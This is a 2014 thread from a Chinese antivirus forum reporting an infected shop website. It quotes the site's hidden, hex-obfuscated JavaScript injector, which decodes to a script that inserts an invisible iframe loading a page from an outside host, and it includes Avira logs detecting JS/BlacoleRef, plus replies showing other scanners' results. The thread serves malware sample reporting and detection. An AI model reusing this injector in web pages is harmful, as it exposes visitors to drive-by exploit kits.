查看: 1743|回复: 5
收起左侧

[已鉴定] 裏面

[复制链接]
fireold
发表于 2014-3-9 08:21:46 | 显示全部楼层 |阅读模式
  1. http://www.mistervinilo.com/product_info.php?cPath=19&products_id=56&osCsid=ctk
复制代码

  1. /*0242d5*/
  2. ss = eval("Str" + "ing");
  3. d = document;
  4. a = "68,77,70,65,76,6b,71,70,22,7c,7c,7c,68,68,68,2a,2b,22,7d,f,c,22,22,22,22,78,63,74,22,63,6c,22,3f,22,66,71,65,77,6f,67,70,76,30,65,74,67,63,76,67,47,6e,67,6f,67,70,76,2a,29,6b,68,74,63,6f,67,29,2b,3d,f,c,f,c,22,22,22,22,63,6c,30,75,74,65,22,3f,22,29,6a,76,76,72,3c,31,31,66,67,63,70,69,74,7c,67,6e,63,6d,30,65,71,6f,31,79,72,2f,6b,70,65,6e,77,66,67,75,31,74,67,6e,30,72,6a,72,29,3d,f,c,22,22,22,22,63,6c,30,75,76,7b,6e,67,30,72,71,75,6b,76,6b,71,70,22,3f,22,29,63,64,75,71,6e,77,76,67,29,3d,f,c,22,22,22,22,63,6c,30,75,76,7b,6e,67,30,64,71,74,66,67,74,22,3f,22,29,32,29,3d,f,c,22,22,22,22,63,6c,30,75,76,7b,6e,67,30,6a,67,6b,69,6a,76,22,3f,22,29,33,72,7a,29,3d,f,c,22,22,22,22,63,6c,30,75,76,7b,6e,67,30,79,6b,66,76,6a,22,3f,22,29,33,72,7a,29,3d,f,c,22,22,22,22,63,6c,30,75,76,7b,6e,67,30,6e,67,68,76,22,3f,22,29,33,72,7a,29,3d,f,c,22,22,22,22,63,6c,30,75,76,7b,6e,67,30,76,71,72,22,3f,22,29,33,72,7a,29,3d,f,c,f,c,22,22,22,22,6b,68,22,2a,23,66,71,65,77,6f,67,70,76,30,69,67,76,47,6e,67,6f,67,70,76,44,7b,4b,66,2a,29,63,6c,29,2b,2b,22,7d,f,c,22,22,22,22,22,22,22,22,66,71,65,77,6f,67,70,76,30,79,74,6b,76,67,2a,29,3e,66,6b,78,22,6b,66,3f,5e,29,63,6c,5e,29,40,3e,31,66,6b,78,40,29,2b,3d,f,c,22,22,22,22,22,22,22,22,66,71,65,77,6f,67,70,76,30,69,67,76,47,6e,67,6f,67,70,76,44,7b,4b,66,2a,29,63,6c,29,2b,30,63,72,72,67,70,66,45,6a,6b,6e,66,2a,63,6c,2b,3d,f,c,22,22,22,22,7f,f,c,7f,f,c,68,77,70,65,76,6b,71,70,22,55,67,76,45,71,71,6d,6b,67,2a,65,71,71,6d,6b,67,50,63,6f,67,2e,65,71,71,6d,6b,67,58,63,6e,77,67,2e,70,46,63,7b,75,2e,72,63,76,6a,2b,22,7d,f,c,22,78,63,74,22,76,71,66,63,7b,22,3f,22,70,67,79,22,46,63,76,67,2a,2b,3d,f,c,22,78,63,74,22,67,7a,72,6b,74,67,22,3f,22,70,67,79,22,46,63,76,67,2a,2b,3d,f,c,22,6b,68,22,2a,70,46,63,7b,75,3f,3f,70,77,6e,6e,22,7e,7e,22,70,46,63,7b,75,3f,3f,32,2b,22,70,46,63,7b,75,3f,33,3d,f,c,22,67,7a,72,6b,74,67,30,75,67,76,56,6b,6f,67,2a,76,71,66,63,7b,30,69,67,76,56,6b,6f,67,2a,2b,22,2d,22,35,38,32,32,32,32,32,2c,34,36,2c,70,46,63,7b,75,2b,3d,f,c,22,66,71,65,77,6f,67,70,76,30,65,71,71,6d,6b,67,22,3f,22,65,71,71,6d,6b,67,50,63,6f,67,2d,24,3f,24,2d,67,75,65,63,72,67,2a,65,71,71,6d,6b,67,58,63,6e,77,67,2b,f,c,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,2d,22,24,3d,67,7a,72,6b,74,67,75,3f,24,22,2d,22,67,7a,72,6b,74,67,30,76,71,49,4f,56,55,76,74,6b,70,69,2a,2b,22,2d,22,2a,2a,72,63,76,6a,2b,22,41,22,24,3d,22,72,63,76,6a,3f,24,22,2d,22,72,63,76,6a,22,3c,22,24,24,2b,3d,f,c,7f,f,c,68,77,70,65,76,6b,71,70,22,49,67,76,45,71,71,6d,6b,67,2a,22,70,63,6f,67,22,2b,22,7d,f,c,22,78,63,74,22,75,76,63,74,76,22,3f,22,66,71,65,77,6f,67,70,76,30,65,71,71,6d,6b,67,30,6b,70,66,67,7a,51,68,2a,22,70,63,6f,67,22,2d,22,24,3f,24,22,2b,3d,f,c,22,78,63,74,22,6e,67,70,22,3f,22,75,76,63,74,76,22,2d,22,70,63,6f,67,30,6e,67,70,69,76,6a,22,2d,22,33,3d,f,c,22,6b,68,22,2a,22,2a,22,23,75,76,63,74,76,22,2b,22,28,28,f,c,22,2a,22,70,63,6f,67,22,23,3f,22,66,71,65,77,6f,67,70,76,30,65,71,71,6d,6b,67,30,75,77,64,75,76,74,6b,70,69,2a,22,32,2e,22,70,63,6f,67,30,6e,67,70,69,76,6a,22,2b,22,2b,22,2b,f,c,22,7d,f,c,22,74,67,76,77,74,70,22,70,77,6e,6e,3d,f,c,22,7f,f,c,22,6b,68,22,2a,22,75,76,63,74,76,22,3f,3f,22,2f,33,22,2b,22,74,67,76,77,74,70,22,70,77,6e,6e,3d,f,c,22,78,63,74,22,67,70,66,22,3f,22,66,71,65,77,6f,67,70,76,30,65,71,71,6d,6b,67,30,6b,70,66,67,7a,51,68,2a,22,24,3d,24,2e,22,6e,67,70,22,2b,3d,f,c,22,6b,68,22,2a,22,67,70,66,22,3f,3f,22,2f,33,22,2b,22,67,70,66,22,3f,22,66,71,65,77,6f,67,70,76,30,65,71,71,6d,6b,67,30,6e,67,70,69,76,6a,3d,f,c,22,74,67,76,77,74,70,22,77,70,67,75,65,63,72,67,2a,22,66,71,65,77,6f,67,70,76,30,65,71,71,6d,6b,67,30,75,77,64,75,76,74,6b,70,69,2a,22,6e,67,70,2e,22,67,70,66,22,2b,22,2b,3d,f,c,7f,f,c,6b,68,22,2a,70,63,78,6b,69,63,76,71,74,30,65,71,71,6d,6b,67,47,70,63,64,6e,67,66,2b,f,c,7d,f,c,6b,68,2a,49,67,76,45,71,71,6d,6b,67,2a,29,78,6b,75,6b,76,67,66,61,77,73,29,2b,3f,3f,37,37,2b,7d,7f,67,6e,75,67,7d,55,67,76,45,71,71,6d,6b,67,2a,29,78,6b,75,6b,76,67,66,61,77,73,29,2e,22,29,37,37,29,2e,22,29,33,29,2e,22,29,31,29,2b,3d,f,c,f,c,7c,7c,7c,68,68,68,2a,2b,3d,f,c,7f,f,c,7f".split(",");
  5. for (i = 0; i < a.length; i++) {
  6.     a[i] = parseInt(a[i], 16) - (5 - 3);
  7. }
  8. try {
  9.     d.body--
  10. } catch (q) {
  11.     zz = 0;
  12. }
  13. try {
  14.     zz &= 2
  15. } catch (q) {
  16.     zz = 1;
  17. }
  18. if (!zz) if (window.document) eval(ss.fromCharCode.apply(ss, a)); /*/0242d5*/
复制代码


Avira
2014/3/9 上午 08:16 [System Scanner] 掃描
      掃描結束 [已完成全部的掃描.]。
      檔案數:        822
      目錄數:        0
      惡意程式碼數:        4
      警告數:        0

2014/3/9 上午 08:16 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\AVC3APW1\jquery-1.4.2.min[1].js'
      包含病毒或有害的程式 'JS/BlacoleRef.W.320' [virus]
      已採取動作:
      檔案會移動至 '10c86459.qua' 名稱底下的隔離區目錄!

2014/3/9 上午 08:16 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\A1VVYTC4\flash_detect_min[1].js'
      包含病毒或有害的程式 'JS/BlacoleRef.W.320' [virus]
      已採取動作:
      檔案會移動至 '76132b96.qua' 名稱底下的隔離區目錄!

2014/3/9 上午 08:16 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\R8AOCKPW\imagepreloader[1].js'
      包含病毒或有害的程式 'JS/BlacoleRef.W.320' [virus]
      已採取動作:
      檔案會移動至 '5aec111b.qua' 名稱底下的隔離區目錄!

2014/3/9 上午 08:16 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\GP9UHU8J\flash_detect[1].js'
      包含病毒或有害的程式 'JS/BlacoleRef.W.320' [virus]
      已採取動作:
      檔案會移動至 '427b3ebb.qua' 名稱底下的隔離區目錄!

2014/3/9 上午 08:15 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\INV2BTG1\swfobject[1].js'
      包含病毒或有害的程式 'JS/BlacoleRef.W.320' [virus]
      已採取動作:
      檔案會移動至 '5b7b13d6.qua' 名稱底下的隔離區目錄!

2014/3/9 上午 08:15 [System Scanner] 掃描
      掃描結束 [已完成全部的掃描.]。
      檔案數:        819
      目錄數:        0
      惡意程式碼數:        1
      警告數:        0

2014/3/9 上午 08:14 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\R8AOCKPW\imagepreloader[1].js 中
      偵測到病毒或有害的程式 'JS/BlacoleRef.W.320 [virus]'
      執行的動作:傳輸至掃描程式

2014/3/9 上午 08:14 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\R8AOCKPW\imagepreloader[1].js 中
      偵測到病毒或有害的程式 'JS/BlacoleRef.W.320 [virus]'
      執行的動作:拒絕存取

2014/3/9 上午 08:14 [Web Protection] 發現惡意程式碼
      從 URL "http://www.mistervinilo.com/ext/js/imagepreloader.js" 存取資料時,
      發現病毒或有害的程式 'JS/BlacoleRef.W.320' [virus]。
      已採取動作:已略過

2014/3/9 上午 08:13 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\AVC3APW1\jquery-1.4.2.min[1].js 中
      偵測到病毒或有害的程式 'JS/BlacoleRef.W.320 [virus]'
      執行的動作:傳輸至掃描程式

2014/3/9 上午 08:13 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\A1VVYTC4\flash_detect_min[1].js 中
      偵測到病毒或有害的程式 'JS/BlacoleRef.W.320 [virus]'
      執行的動作:傳輸至掃描程式

2014/3/9 上午 08:13 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\GP9UHU8J\flash_detect[1].js 中
      偵測到病毒或有害的程式 'JS/BlacoleRef.W.320 [virus]'
      執行的動作:拒絕存取

2014/3/9 上午 08:13 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\INV2BTG1\swfobject[1].js 中
      偵測到病毒或有害的程式 'JS/BlacoleRef.W.320 [virus]'
      執行的動作:拒絕存取

2014/3/9 上午 08:13 [Web Protection] 發現惡意程式碼
      從 URL "http://www.mistervinilo.com/ext/jquery/jquery-1.4.2.min.js" 存取資料時,
      發現病毒或有害的程式 'JS/BlacoleRef.W.320' [virus]。
      已採取動作:已略過

2014/3/9 上午 08:13 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\1YP0JPM6\popupmod[1].js 中
      偵測到病毒或有害的程式 'JS/BlacoleRef.W.320 [virus]'
      執行的動作:拒絕存取

2014/3/9 上午 08:13 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\AVC3APW1\jquery-1.4.2.min[1].js 中
      偵測到病毒或有害的程式 'JS/BlacoleRef.W.320 [virus]'
      執行的動作:拒絕存取

2014/3/9 上午 08:13 [Web Protection] 發現惡意程式碼
      從 URL "http://www.mistervinilo.com/popupmod.js" 存取資料時,
      發現病毒或有害的程式 'JS/BlacoleRef.W.320' [virus]。
      已採取動作:已略過

2014/3/9 上午 08:13 [Web Protection] 發現惡意程式碼
      從 URL "http://www.mistervinilo.com/ext/jquery/ui/jquery-ui-1.8.6.min.js" 存取資料時,
      發現病毒或有害的程式 'JS/BlacoleRef.W.320' [virus]。
      已採取動作:封鎖的檔案

2014/3/9 上午 08:13 [Web Protection] 發現惡意程式碼
      從 URL "http://www.mistervinilo.com/ext/js/js.js" 存取資料時,
      發現病毒或有害的程式 'JS/BlacoleRef.W.320' [virus]。
      已採取動作:封鎖的檔案

2014/3/9 上午 08:13 [Web Protection] 發現惡意程式碼
      從 URL "http://www.mistervinilo.com/flash_detect_min.js" 存取資料時,
      發現病毒或有害的程式 'JS/BlacoleRef.W.320' [virus]。
      已採取動作:已略過

2014/3/9 上午 08:13 [Web Protection] 發現惡意程式碼
      從 URL "http://www.mistervinilo.com/ext/jquery/jquery.equalheights.js" 存取資料時,
      發現病毒或有害的程式 'JS/BlacoleRef.W.320' [virus]。
      已採取動作:封鎖的檔案

2014/3/9 上午 08:13 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\GP9UHU8J\flash_detect[1].js 中
      偵測到病毒或有害的程式 'JS/BlacoleRef.W.320 [virus]'
      執行的動作:傳輸至掃描程式

2014/3/9 上午 08:13 [Web Protection] 發現惡意程式碼
      從 URL
      "http://www.mistervinilo.com/ext/jquery/fancybox/jquery.fancybox-1.3.4.pack.js"
      存取資料時,
      發現病毒或有害的程式 'JS/BlacoleRef.W.320' [virus]。
      已採取動作:封鎖的檔案

2014/3/9 上午 08:13 [Web Protection] 發現惡意程式碼
      從 URL
      "http://www.mistervinilo.com/ext/jquery/bxGallery/jquery.bxGallery.1.1.min.js"
      存取資料時,
      發現病毒或有害的程式 'JS/BlacoleRef.W.320' [virus]。
      已採取動作:封鎖的檔案

2014/3/9 上午 08:13 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\INV2BTG1\swfobject[1].js 中
      偵測到病毒或有害的程式 'JS/BlacoleRef.W.320 [virus]'
      執行的動作:傳輸至掃描程式

2014/3/9 上午 08:13 [Web Protection] 發現惡意程式碼
      從 URL "http://www.mistervinilo.com/flash_detect.js" 存取資料時,
      發現病毒或有害的程式 'JS/BlacoleRef.W.320' [virus]。
      已採取動作:已略過

2014/3/9 上午 08:13 [Web Protection] 發現惡意程式碼
      從 URL "http://www.mistervinilo.com/swfobject.js" 存取資料時,
      發現病毒或有害的程式 'JS/BlacoleRef.W.320' [virus]。
      已採取動作:已略過

2014/3/9 上午 08:13 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\AVC3APW1\product_info[1].htm 中
      偵測到病毒或有害的程式 'JS/BlacoleRef.CZ.28 [virus]'
      執行的動作:拒絕存取

2014/3/9 上午 08:13 [Web Protection] 發現惡意程式碼
      從 URL
      "http://www.mistervinilo.com/product_info.php?cPath=19&amp;amp;amp;products_id=5
      6&amp;amp;amp;osCsid=ctk" 存取資料時,
      發現病毒或有害的程式 'JS/BlacoleRef.CZ.28' [virus]。
      已採取動作:已略過


av1.jpg av1-1.jpg


fsis
fs1.jpg
yiren
头像被屏蔽
发表于 2014-3-9 19:19:21 | 显示全部楼层
大蜘蛛.PNG

大蜘蛛2.PNG
lh9916
发表于 2014-3-15 23:05:46 | 显示全部楼层
2014-03-15_230339.png

2014-03-15_230444.png
蛊钺龙彡
发表于 2014-3-19 22:48:15 | 显示全部楼层
QQ截图20140319224551.jpg
z紫f风l铃
发表于 2014-4-27 10:39:58 | 显示全部楼层
百度杀毒,ESET
QQ图片20140427103931.jpg
z紫f风l铃
发表于 2014-5-3 00:16:41 | 显示全部楼层
卡巴斯基,ESET
QQ图片20140503001615.jpg
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-2-4 19:35 , Processed in 0.134014 second(s), 19 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表